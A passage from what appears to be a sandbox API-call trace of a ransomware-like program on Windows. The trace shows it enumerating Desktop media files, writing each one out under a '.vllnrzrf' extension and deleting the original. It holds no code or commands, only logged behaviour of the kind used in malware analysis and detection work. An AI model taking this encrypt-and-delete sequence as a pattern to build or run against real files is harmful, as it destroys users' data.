ftCreationTime.dwLowDateTime=0x8a9eaa40, ftCreationTime.dwHighDateTime=0x1d5e77d, ftLastAccessTime.dwLowDateTime=0xc4ba9650, ftLastAccessTime.dwHighDateTime=0x1d5e1f4, ftLastWriteTime.dwLowDateTime=0xc4ba9650, ftLastWriteTime.dwHighDateTime=0x1d5e1f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.387] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e390 | out: lpFindFileData=0x1d00e390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76d068d0, ftCreationTime.dwHighDateTime=0x1d5d82f, ftLastAccessTime.dwLowDateTime=0x5cbf21c0, ftLastAccessTime.dwHighDateTime=0x1d5e301, ftLastWriteTime.dwLowDateTime=0x5cbf21c0, ftLastWriteTime.dwHighDateTime=0x1d5e301, nFileSizeHigh=0x0, nFileSizeLow=0x2089, dwReserved0=0x0, dwReserved1=0x0, cFileName="-snWIb4hew.mp3", cAlternateFileName="-SNWIB~1.MP3")) returned 1 [0087.387] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e390 | out: lpFindFileData=0x1d00e390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf974bc10, ftCreationTime.dwHighDateTime=0x1d5e463, ftLastAccessTime.dwLowDateTime=0x93562aa0, ftLastAccessTime.dwHighDateTime=0x1d5d887, ftLastWriteTime.dwLowDateTime=0x93562aa0, ftLastWriteTime.dwHighDateTime=0x1d5d887, nFileSizeHigh=0x0, nFileSizeLow=0x10752, dwReserved0=0x0, dwReserved1=0x0, cFileName="5GIHrxIiYYiPtXXN.mp3", cAlternateFileName="5GIHRX~1.MP3")) returned 1 [0087.387] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e390 | out: lpFindFileData=0x1d00e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9989a80, ftCreationTime.dwHighDateTime=0x1d5e72b, ftLastAccessTime.dwLowDateTime=0x3a82d7c0, ftLastAccessTime.dwHighDateTime=0x1d5e660, ftLastWriteTime.dwLowDateTime=0x3a82d7c0, ftLastWriteTime.dwHighDateTime=0x1d5e660, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7LQmm", cAlternateFileName="")) returned 1 [0087.388] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e390 | out: lpFindFileData=0x1d00e390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75bf7220, ftCreationTime.dwHighDateTime=0x1d5ddce, ftLastAccessTime.dwLowDateTime=0x50f4eb60, ftLastAccessTime.dwHighDateTime=0x1d5e73c, ftLastWriteTime.dwLowDateTime=0x50f4eb60, ftLastWriteTime.dwHighDateTime=0x1d5e73c, nFileSizeHigh=0x0, nFileSizeLow=0xa0b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="GmMblWVlwymvyYkREr.wav", cAlternateFileName="GMMBLW~1.WAV")) returned 1 [0087.388] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e390 | out: lpFindFileData=0x1d00e390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbf4140, ftCreationTime.dwHighDateTime=0x1d5e1d0, ftLastAccessTime.dwLowDateTime=0x3bf97d90, ftLastAccessTime.dwHighDateTime=0x1d5e3c0, ftLastWriteTime.dwLowDateTime=0x3bf97d90, ftLastWriteTime.dwHighDateTime=0x1d5e3c0, nFileSizeHigh=0x0, nFileSizeLow=0x62da, dwReserved0=0x0, dwReserved1=0x0, cFileName="IHn-RVB8NJRiPijtB jU.flv", cAlternateFileName="IHN-RV~1.FLV")) returned 1 [0087.388] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e390 | out: lpFindFileData=0x1d00e390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b33660, ftCreationTime.dwHighDateTime=0x1d5e5e3, ftLastAccessTime.dwLowDateTime=0x1d400af0, ftLastAccessTime.dwHighDateTime=0x1d5d938, ftLastWriteTime.dwLowDateTime=0x1d400af0, ftLastWriteTime.dwHighDateTime=0x1d5d938, nFileSizeHigh=0x0, nFileSizeLow=0x15cea, dwReserved0=0x0, dwReserved1=0x0, cFileName="K1WUbvO3Z2qO.swf", cAlternateFileName="K1WUBV~1.SWF")) returned 1 [0087.388] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e390 | out: lpFindFileData=0x1d00e390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c7adf0, ftCreationTime.dwHighDateTime=0x1d5de28, ftLastAccessTime.dwLowDateTime=0x89c68500, ftLastAccessTime.dwHighDateTime=0x1d5e7c5, ftLastWriteTime.dwLowDateTime=0x89c68500, ftLastWriteTime.dwHighDateTime=0x1d5e7c5, nFileSizeHigh=0x0, nFileSizeLow=0x39e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ldFE5i.jpg", cAlternateFileName="")) returned 1 [0087.388] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e390 | out: lpFindFileData=0x1d00e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa282ace0, ftCreationTime.dwHighDateTime=0x1d5e405, ftLastAccessTime.dwLowDateTime=0x757476e0, ftLastAccessTime.dwHighDateTime=0x1d5e075, ftLastWriteTime.dwLowDateTime=0x757476e0, ftLastWriteTime.dwHighDateTime=0x1d5e075, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZgQPfL", cAlternateFileName="")) returned 1 [0087.389] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e390 | out: lpFindFileData=0x1d00e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa282ace0, ftCreationTime.dwHighDateTime=0x1d5e405, ftLastAccessTime.dwLowDateTime=0x757476e0, ftLastAccessTime.dwHighDateTime=0x1d5e075, ftLastWriteTime.dwLowDateTime=0x757476e0, ftLastWriteTime.dwHighDateTime=0x1d5e075, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZgQPfL", cAlternateFileName="")) returned 0 [0087.389] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0087.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e5f0) returned 1 [0087.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e5b0) returned 1 [0087.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\-snWIb4hew.mp3", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\-snWIb4hew.mp3", lpFilePart=0x0) returned 0x3a [0087.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\-snWIb4hew.mp3", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\-snWIb4hew.mp3", lpFilePart=0x0) returned 0x3a [0087.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\-snWIb4hew.mp3", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\-snWIb4hew.mp3", lpFilePart=0x0) returned 0x3a [0087.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e590) returned 1 [0087.390] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\-snWIb4hew.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\-snwib4hew.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x434 [0087.390] GetFileType (hFile=0x434) returned 0x1 [0087.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e500) returned 1 [0087.390] GetFileType (hFile=0x434) returned 0x1 [0087.390] GetFileSize (in: hFile=0x434, lpFileSizeHigh=0x1d00e728 | out: lpFileSizeHigh=0x1d00e728*=0x0) returned 0x2089 [0087.390] ReadFile (in: hFile=0x434, lpBuffer=0x2270b18, nNumberOfBytesToRead=0x2089, lpNumberOfBytesRead=0x1d00e658, lpOverlapped=0x0 | out: lpBuffer=0x2270b18*, lpNumberOfBytesRead=0x1d00e658*=0x2089, lpOverlapped=0x0) returned 1 [0087.391] CloseHandle (hObject=0x434) returned 1 [0087.402] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\-snWIb4hew.mp3.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\-snWIb4hew.mp3.vllnrzrf", lpFilePart=0x0) returned 0x43 [0087.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e590) returned 1 [0087.402] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\-snWIb4hew.mp3.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\-snwib4hew.mp3.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x434 [0087.402] GetFileType (hFile=0x434) returned 0x1 [0087.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e500) returned 1 [0087.403] GetFileType (hFile=0x434) returned 0x1 [0087.403] WriteFile (in: hFile=0x434, lpBuffer=0x22862d0*, nNumberOfBytesToWrite=0x2289, lpNumberOfBytesWritten=0x1d00e6b8, lpOverlapped=0x0 | out: lpBuffer=0x22862d0*, lpNumberOfBytesWritten=0x1d00e6b8*=0x2289, lpOverlapped=0x0) returned 1 [0087.404] CloseHandle (hObject=0x434) returned 1 [0087.411] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\-snWIb4hew.mp3", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\-snWIb4hew.mp3", lpFilePart=0x0) returned 0x3a [0087.411] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\-snWIb4hew.mp3", nBufferLength=0x105, lpBuffer=0x1d00e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\-snWIb4hew.mp3", lpFilePart=0x0) returned 0x3a [0087.411] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\-snWIb4hew.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\-snwib4hew.mp3")) returned 1 [0087.413] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\5GIHrxIiYYiPtXXN.mp3", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\5GIHrxIiYYiPtXXN.mp3", lpFilePart=0x0) returned 0x40 [0087.413] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\5GIHrxIiYYiPtXXN.mp3", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\5GIHrxIiYYiPtXXN.mp3", lpFilePart=0x0) returned 0x40 [0087.413] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\5GIHrxIiYYiPtXXN.mp3", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\5GIHrxIiYYiPtXXN.mp3", lpFilePart=0x0) returned 0x40 [0087.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e590) returned 1 [0087.413] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\5GIHrxIiYYiPtXXN.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\5gihrxiiyyiptxxn.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x434 [0087.414] GetFileType (hFile=0x434) returned 0x1 [0087.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e500) returned 1 [0087.414] GetFileType (hFile=0x434) returned 0x1 [0087.414] GetFileSize (in: hFile=0x434, lpFileSizeHigh=0x1d00e728 | out: lpFileSizeHigh=0x1d00e728*=0x0) returned 0x10752 [0087.414] ReadFile (in: hFile=0x434, lpBuffer=0x2289160, nNumberOfBytesToRead=0x10752, lpNumberOfBytesRead=0x1d00e658, lpOverlapped=0x0 | out: lpBuffer=0x2289160*, lpNumberOfBytesRead=0x1d00e658*=0x10752, lpOverlapped=0x0) returned 1 [0087.416] CloseHandle (hObject=0x434) returned 1 [0087.427] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\5GIHrxIiYYiPtXXN.mp3.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\5GIHrxIiYYiPtXXN.mp3.vllnrzrf", lpFilePart=0x0) returned 0x49 [0087.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e590) returned 1 [0087.427] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\5GIHrxIiYYiPtXXN.mp3.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\5gihrxiiyyiptxxn.mp3.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x434 [0087.428] GetFileType (hFile=0x434) returned 0x1 [0087.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e500) returned 1 [0087.428] GetFileType (hFile=0x434) returned 0x1 [0087.428] WriteFile (in: hFile=0x434, lpBuffer=0x22e4c20*, nNumberOfBytesToWrite=0x10952, lpNumberOfBytesWritten=0x1d00e6b8, lpOverlapped=0x0 | out: lpBuffer=0x22e4c20*, lpNumberOfBytesWritten=0x1d00e6b8*=0x10952, lpOverlapped=0x0) returned 1 [0087.430] CloseHandle (hObject=0x434) returned 1 [0088.565] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\5GIHrxIiYYiPtXXN.mp3", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\5GIHrxIiYYiPtXXN.mp3", lpFilePart=0x0) returned 0x40 [0088.566] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\5GIHrxIiYYiPtXXN.mp3", nBufferLength=0x105, lpBuffer=0x1d00e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\5GIHrxIiYYiPtXXN.mp3", lpFilePart=0x0) returned 0x40 [0088.566] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\5GIHrxIiYYiPtXXN.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\5gihrxiiyyiptxxn.mp3")) returned 1 [0088.569] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\GmMblWVlwymvyYkREr.wav", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\GmMblWVlwymvyYkREr.wav", lpFilePart=0x0) returned 0x42 [0088.569] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\GmMblWVlwymvyYkREr.wav", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\GmMblWVlwymvyYkREr.wav", lpFilePart=0x0) returned 0x42 [0088.569] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\GmMblWVlwymvyYkREr.wav", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\GmMblWVlwymvyYkREr.wav", lpFilePart=0x0) returned 0x42 [0088.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e590) returned 1 [0088.569] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\GmMblWVlwymvyYkREr.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\gmmblwvlwymvyykrer.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x434 [0088.569] GetFileType (hFile=0x434) returned 0x1 [0088.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e500) returned 1 [0088.569] GetFileType (hFile=0x434) returned 0x1 [0088.569] GetFileSize (in: hFile=0x434, lpFileSizeHigh=0x1d00e728 | out: lpFileSizeHigh=0x1d00e728*=0x0) returned 0xa0b5 [0088.569] ReadFile (in: hFile=0x434, lpBuffer=0x22f61b8, nNumberOfBytesToRead=0xa0b5, lpNumberOfBytesRead=0x1d00e658, lpOverlapped=0x0 | out: lpBuffer=0x22f61b8*, lpNumberOfBytesRead=0x1d00e658*=0xa0b5, lpOverlapped=0x0) returned 1 [0088.571] CloseHandle (hObject=0x434) returned 1 [0088.583] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\GmMblWVlwymvyYkREr.wav.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\GmMblWVlwymvyYkREr.wav.vllnrzrf", lpFilePart=0x0) returned 0x4b [0088.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e590) returned 1 [0088.583] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\GmMblWVlwymvyYkREr.wav.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\gmmblwvlwymvyykrer.wav.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x434 [0088.584] GetFileType (hFile=0x434) returned 0x1 [0088.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e500) returned 1 [0088.584] GetFileType (hFile=0x434) returned 0x1 [0088.584] WriteFile (in: hFile=0x434, lpBuffer=0x23435a8*, nNumberOfBytesToWrite=0xa2b5, lpNumberOfBytesWritten=0x1d00e6b8, lpOverlapped=0x0 | out: lpBuffer=0x23435a8*, lpNumberOfBytesWritten=0x1d00e6b8*=0xa2b5, lpOverlapped=0x0) returned 1 [0088.586] CloseHandle (hObject=0x434) returned 1 [0088.587] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\GmMblWVlwymvyYkREr.wav", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\GmMblWVlwymvyYkREr.wav", lpFilePart=0x0) returned 0x42 [0088.587] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\GmMblWVlwymvyYkREr.wav", nBufferLength=0x105, lpBuffer=0x1d00e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\GmMblWVlwymvyYkREr.wav", lpFilePart=0x0) returned 0x42 [0088.587] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\GmMblWVlwymvyYkREr.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\gmmblwvlwymvyykrer.wav")) returned 1 [0088.590] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\IHn-RVB8NJRiPijtB jU.flv", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\IHn-RVB8NJRiPijtB jU.flv", lpFilePart=0x0) returned 0x44 [0088.590] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\IHn-RVB8NJRiPijtB jU.flv", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\IHn-RVB8NJRiPijtB jU.flv", lpFilePart=0x0) returned 0x44 [0088.590] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\IHn-RVB8NJRiPijtB jU.flv", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\IHn-RVB8NJRiPijtB jU.flv", lpFilePart=0x0) returned 0x44 [0088.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e590) returned 1 [0088.590] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\IHn-RVB8NJRiPijtB jU.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\ihn-rvb8njripijtb ju.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x434 [0088.591] GetFileType (hFile=0x434) returned 0x1 [0088.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e500) returned 1 [0088.591] GetFileType (hFile=0x434) returned 0x1 [0088.591] GetFileSize (in: hFile=0x434, lpFileSizeHigh=0x1d00e728 | out: lpFileSizeHigh=0x1d00e728*=0x0) returned 0x62da [0088.591] ReadFile (in: hFile=0x434, lpBuffer=0x234e4c8, nNumberOfBytesToRead=0x62da, lpNumberOfBytesRead=0x1d00e658, lpOverlapped=0x0 | out: lpBuffer=0x234e4c8*, lpNumberOfBytesRead=0x1d00e658*=0x62da, lpOverlapped=0x0) returned 1 [0088.592] CloseHandle (hObject=0x434) returned 1 [0088.733] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\IHn-RVB8NJRiPijtB jU.flv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\IHn-RVB8NJRiPijtB jU.flv.vllnrzrf", lpFilePart=0x0) returned 0x4d [0088.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e590) returned 1 [0088.733] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\IHn-RVB8NJRiPijtB jU.flv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\ihn-rvb8njripijtb ju.flv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x434 [0088.734] GetFileType (hFile=0x434) returned 0x1 [0088.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e500) returned 1 [0088.734] GetFileType (hFile=0x434) returned 0x1 [0088.734] WriteFile (in: hFile=0x434, lpBuffer=0x237f108*, nNumberOfBytesToWrite=0x64da, lpNumberOfBytesWritten=0x1d00e6b8, lpOverlapped=0x0 | out: lpBuffer=0x237f108*, lpNumberOfBytesWritten=0x1d00e6b8*=0x64da, lpOverlapped=0x0) returned 1 [0088.735] CloseHandle (hObject=0x434) returned 1 [0088.737] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\IHn-RVB8NJRiPijtB jU.flv", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\IHn-RVB8NJRiPijtB jU.flv", lpFilePart=0x0) returned 0x44 [0088.737] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\IHn-RVB8NJRiPijtB jU.flv", nBufferLength=0x105, lpBuffer=0x1d00e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\IHn-RVB8NJRiPijtB jU.flv", lpFilePart=0x0) returned 0x44 [0088.737] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\IHn-RVB8NJRiPijtB jU.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\ihn-rvb8njripijtb ju.flv")) returned 1 [0088.739] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\K1WUbvO3Z2qO.swf", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\K1WUbvO3Z2qO.swf", lpFilePart=0x0) returned 0x3c [0088.740] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\K1WUbvO3Z2qO.swf", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\K1WUbvO3Z2qO.swf", lpFilePart=0x0) returned 0x3c [0088.740] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\K1WUbvO3Z2qO.swf", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\K1WUbvO3Z2qO.swf", lpFilePart=0x0) returned 0x3c [0088.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e590) returned 1 [0088.740] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\K1WUbvO3Z2qO.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\k1wubvo3z2qo.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x434 [0088.740] GetFileType (hFile=0x434) returned 0x1 [0088.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e500) returned 1 [0088.740] GetFileType (hFile=0x434) returned 0x1 [0088.740] GetFileSize (in: hFile=0x434, lpFileSizeHigh=0x1d00e728 | out: lpFileSizeHigh=0x1d00e728*=0x0) returned 0x15cea [0088.741] ReadFile (in: hFile=0x434, lpBuffer=0x122b3a40, nNumberOfBytesToRead=0x15cea, 